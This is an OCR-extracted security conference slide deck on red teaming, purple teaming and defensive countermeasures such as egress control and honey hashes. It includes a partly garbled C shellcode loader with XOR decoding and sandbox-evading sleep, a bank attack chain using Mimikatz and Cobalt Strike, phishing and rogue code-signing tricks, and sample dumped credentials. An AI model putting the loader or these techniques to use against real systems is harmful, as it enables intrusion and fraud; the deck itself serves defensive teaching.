



#### TAKING SECURITY TESTING TO THE NEXT LEVEL

5 MAY 2014 STAN HEGT

# HAVE YOU EVER ENCOUNTERED AN ADVERSARY THAT RAN NESSUS FROM A MEETING ROOM?



# **PENETRATION TESTING vs RED TEAMING**



# **Penetration Testing**

Gain oversight of vulnerabilities

**Predefined subset** 

Focus on preventive controls

**Focus on efficiency** 

Mapping, scanning, exploiting

**Very limited** 

Part of development lifecycle



Goal

Scope

**Tested controls** 

Test method

Test techniques

Post-exploitation

Positioning



Test resilience against real attacks

**Realistic access paths** 

Focus on detection and response

Focus on realistic simulation

**Attacker TTPs** 

Extensive focus on crown jewels

**Periodical exercise** 

## **RED TEAMING – THE APPROACH**



#### The Red Team

- Uses the same Tactics, Techniques and Procedures (TTPs) as real adversaries
- Red team members must be on top of threat intelligence
- Team members must have operational versatility

#### The **Blue** Team

- Is not only the security team (but also users, IT, management)
- Does not know if an incident is real or triggered by a red team
- Measure improvement: mean time to detect (MTTD) and mean time to recovery (MTTR)

## THE APPROACH – CYBER KILL CHAIN METHODOLOGY



# THE ASSUME COMPROMISE MODEL

#### Focus on last steps in Kill Chain

Weaponize

Recon

Realistic assumption that breaches will happen ("when, not if")

Exploit

Install

Control

Execute

- Compressed time adversary simulation
- Less time spent on trivial stuff, more time for crown jewels
- Being used by many internal red teams (e.g. Microsoft)

Deliver

#### How to approach this in your test?

- Have trusted agent click on all files and links sent to him
- Or give access to a limited number of systems

# THE RED TEAM'S BAG OF **DIRTY TRICKS**



# **RED TEAMING SUMMARY – DUTCH BANK**

Chain step	Tactic	Technique
Recon	OSINT Device fingerprinting	Social meda, Public sources Javascript browser fingerprinting
Weaponize	Malware dropper	Java signed applet, Malicious Word Macro
Deliver	Spear phishing	Clone parcel delivery website, Personal "resumé" site
Install	RAT malware Keylogging	CS HTTP beacon Keylogging to Keypass
Control	Password bruteforce Create persistence Dump hashes	Reverse password buteforce on AD Install persistence via Windows services and schtasks Mimikatz and hashdump on DCs and fileservers
Execute	Credentials abuse	Initiate payment in SWIFT gateway





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 43
         }
                                                                                                                           ^
 44
         // edit this to XOR key value
 45
          char kev[14]="IkHouVanAapjes";
 46
 47
 48
         for (x=0; x<size; x++) {</pre>
            result[x] = input[x] ^ key[x % sizeof(key)];
 49
 50
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 51
 52
          return result;
 53
         Ł
 54
      int main(int argc, char *argv[]) {
 55
 56
            if (DEBUG) MessageBox(NULL, "Starting payload", "Payload", MB_OK + MB_SERVICE_NOTIFICATION);
 57
            unsigned char *shellcode = xorString (data bin, data bin size);
 58
 59
  60
            DWORD oldProtect;
  61
  62
            HANDLE locHeap = HeapCreate(HEAP CREATE ENABLE EXECUTE, data bin size, 2*data bin size);
            if (!locHeap) return GetLastError();
  63
  64
            void *shellcodeAddr = HeapAlloc(locHeap, 0, data bin size);
  65
            if (!shellcodeAddr) return GetLastError();
 66
 67
  68
           memcpy(shellcodeAddr, shellcode, data bin size);
           VirtualProtect(shellcodeAddr, data bin size, PAGE EXECUTE READWRITE, &oldProtect);
 69
 70
 71
            return ((int (*)(void)) shellcodeAddr)();
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                              length: 1940 lines: 73
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# HOW TO DEFEAT THE BLINKY BOX APPLIANCE<sup>TM</sup>?\*

Tanget: Production

\* FILL IN YOUR FAVORITE NETWORK SECURITY APPLIANCE VENDOR HERE

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 43
         }
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 44
         // edit this to XOR key value
 45
          char kev[14]="IkHouVanAapjes";
 46
 47
 48
         for (x=0; x<size; x++) {</pre>
            result[x] = input[x] ^ key[x % sizeof(key)];
 49
 50
          ł
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          return result:
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 54
      - int main(int argc, char *argv[]) {
 55
            sleep(600);
 56
 57
            if (DEBUG) MessageBox(NULL, "Starting payload", "Payload", MB_OK + MB_SERVICE_NOTIFICATION);
 58
 59
  60
            unsigned char *shellcode = xorString(data bin, data bin size);
  61
  62
            DWORD oldProtect;
  63
            HANDLE locHeap = HeapCreate(HEAP CREATE ENABLE EXECUTE, data bin size, 2*data bin size);
  64
            if (!locHeap) return GetLastError();
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  66
            void *shellcodeAddr = HeapAlloc(locHeap, 0, data bin size);
 67
            if (!shellcodeAddr) return GetLastError();
  68
  69
            memcpy(shellcodeAddr, shellcode, data bin size);
 70
            VirtualProtect(shellcodeAddr, data bin size, PAGE EXECUTE READWRITE, &oldProtect);
 71
 72
                              length: 1956 lines: 75
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C source file
                                                                                          Dos\Windows
                                                                                                        UTF-8 w/o BOM
                                                                                                                        INS
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# HOW TO OBTAIN A ROGUE CODE SIGNING CERTIFICATE?



Dear Sir or Madam,

Thank you for purchasing **OpenSource Code Signing** certificate for **Open Source Developer**, <u>rubenvanzanten.nl</u>. The Open Source Code Signing certificate is meant for software developers and publishers who work under the Open Source licence.

Please read following information related to the verification of the request, necessary to complete the purchase of the certificate.

Verification process for activation of the new OpenSource Code Signing certificate requires (1) confirmation of access to the certified email address and (2) additional vetting documents used to perform the identification of the Subscriber.

- For certificate OpenSource Code Signing an e-mail address verification is requested. CERTUM will send an activation link for the e-mail address specified in the certificate request.
- 2. In order to verify the data contained in the request for certificate issuance, please provide the following:
- Copy of ID document of the Subscriber (ID card, passport, residence permit, student's ID card, social insurance ID, etc.). ID documents in non-Latin scripts (e.g Hebrew, Arabic, Chinese, Japanese etc.) issued by the affected countries must have at least an English (Latin) translation included in addition to the natural language and character set. Passports and sometimes driving licences usually have Latin transcription.
- The name and a hyperlink to your open-source project. The project, whose name will be included in the certificate, must be widely available. If <u>CERTUM</u> will not be able to identify the project on the basis of the public information, the certificate request will be rejected.
- Copy of document to assure the subscriber is an employee or representative of company/institution (if applicable).

All collected documents should be sent in one of the following ways:

- by fax: 004891 4257 422
- via e-mail: <u>ccp@certum.pl</u>
- per post:



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U	kunt deze e-mail ook als <u>webversie</u> b	ekijken.	
PakGemak Track & T	race	store (	bostnl
Beste Stan Hegt, Er staat een pakket voor u bij on code kunt u de details bekijken. Voor vragen kunt u terecht bij de Uw gegevens: Naam:	is klaar. Door gebruik te maken e <u>PostNL klantenservice</u> . Stan Heot	van onderstaande Track & Tra	ace
Emailadres: Track & Trace code:	hegt.stan@kpmg.nl 3SMZLCPHXOIL80		
Met vriendelijke groet, PostNL Track & Trace team	~		





#### Wat is MijnPakket?

#### **Online shoppen**

 Track & trace van al je verzonden en te ontvangen pakketten

do bosocino milaio

Met je MijnPakket-account kies je bij honderden webshops zelf waar en

e ar mil in bostalling afle

#### Veelgestelde vragen

Wil je meer informatie over MijnPakket of heb je een specifieke vraag? Bekijk het

nicht unn de unelgestelde ur

#### Online pakket versturen

Met Online Verzendservice maak je thuis in een paar eenvoudige stappen je palvet klear om te verzenden. Bestill

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### **EGRESS - HTTPS BEACON**



#### **EGRESS - SMB BEACON**



#### **EGRESS - DNS BEACON**



# DEFEATING THE RED TEAM

(AND CATCHING THE REAL BAD GUYS AS A BONUS)



# THE PYRAMID OF PAIN CONCEPT



Idea by David Bianco - http://detect-respond.blogspot.nl/2013/03/the-pyramid-of-pain.html

# DON'T DO WHAC A MOLE - PLAY A DIFFERENT GAME

#### Forcing the red team to change TTPs and tools

- Remove persistence instead of hunting for post-exploitation tools
- The red team likely maintains a low and slow backup method to get back in
- Lateral movement is more than just PsExec (wmic, at, sc, schtasks, PowerShell, etc)

#### **Control and monitor egress**

- Block outbound TCP / UDP
- Tunnel through proxy with authentication (will break many malware)
- Control DNS (!= blocking port 53) let proxy handle DNS

#### Tricks

- Leverage application whitelisting (even in audit mode)
- A good honeypot can be very attractive for the red team

# HONEY HASHES – CATCHING PASS-THE-HASH AND CREDENTIALS ABUSE

# /runas /user:DOMAIN.COM\Super.Admin /netonly ipconfig

mimikatz 2.0 alpha x64 (oe.eo)					
Logon Time : SID :	5/4/2015 5:21:12 PM S-1-5-21-855147523-3199156950-4164062746-1000	^			
msv : [00000003] * Username	Primary : Super.Admin				
* Domain * NTLM * SHA1 tspkg :	: microsoft.com : 8842797845cabde1d8f43062d448ef49 : 69cbae3e3a7fc40e5d19020a8576c43099dd6b70				
wdigest : * Username * Domain * Password	: Super.Admin : microsoft.com : SecretPassword123				
kerberos : * Username * Domain * Password	: Super.Admin : microsoft.com : SecretPassword123				
ssp : credman :					
Authentication Id : Session : User Name :	0 ; 454246 (0000000:0006ee66) Interactive from 1 Stan				
Domain : Logon Server :	aapje AAPJE	Ŧ			

# Next: setup alert on credentials use

http://blogs.technet.com/b/jhoward/archive/2010/06/16/getting-event-log-contents-by-email-on-an-event-log-trigger.aspx

Original idea: https://isc.sans.edu/diary/Detecting+Mimikatz+Use+On+Your+Network/19311

# **KRBTGT RESET – PROACTIVE GOLDEN TICKET PROTECTION**

#### **Pass-the-ticket attack**

 Attacker can abuse compromised KRBTGT account hash (= Kerberos secret key) to impersonate anybody in a Windows-domain based environment until the Kerberos secret key is reset.

#### **CERT-EU Security White Paper 2014-07:**

"Containment by resetting twice the KRBTGT account password"

But, how do you know if one of your DCs has been owned in the past X years?

#### Solution

- Proactively reset the KRBTGT account password (e.g. weekly or monthly)
- No guarantees, but a very large multinational has implemented this without any significant problems

# PURPLE TEAMING

red and blue make purple

### PURPLE TEAMING = **RED** + **BLUE**



#### The idea of purple teaming

- Put the red and blue teams together in a room
- Combine offensive and defensive skillset
- Real-time tuning of protection and detection
- NOT a replacement for red teaming

#### The Red Team

- Simulate latest relevant TTPs
- Generate data set for the blue team

#### The Blue Team

- Use generated data set to define observables and indicators
- Create new monitoring use cases on the fly

## **PURPLE TEAMING - SIMULATING C2**

How to simulate malicious backdoors without having to install the actual malware on your user's systems?

#### **Malleable Command and Control**

- Cobalt Strike feature to change beacon communications
- Simulate malware C2 (from crimeware to APT)
- Change many indicators (beyond just user agent)
- Repository at <u>https://github.com/rsmudge/Malleable-C2-Profiles</u>



# FITTING IT ALL TOGETHER – EXAMPLE SECURITY TESTING PROGRAM

Activity	Interval	Description			
Vulnerability scanning	Monthly	Automated scanning of infrastructure and applications for known vulnerabilities			
Penetration testing	Embedded in SDLC	Manual penetration testing of new or modified systems and applications			
Deep dive	Quarterly	Whitebox assessment on specific topic (e.g. DDos resilience)			
Red teaming	Twice a year	Unannounced adversary simulation to test resilience against real attacks			
Purple teaming	Quarterly	Simulation of latest adversary TTPs and real-time evaluation of protective and detective measures			

## RESOURCES

Microsoft whitepaper on red teaming

http://download.microsoft.com/download/C/1/9/C1990DBA-502F-4C2A-848D-392B93D9B9C3/Microsoft\_Enterprise\_Cloud\_Red\_Teaming.pdf

Cobalt Strike blog on red teaming, purple teaming, etc. http://blog.cobaltstrike.com/

Tradecraft training on red team operations by Cobalt Strike http://www.cobaltstrike.com/training

Dark Side Ops training at Blackhat

https://www.blackhat.com/us-15/training/dark-side-ops-custom-penetrationtesting.html

# **CONTACT DETAILS**



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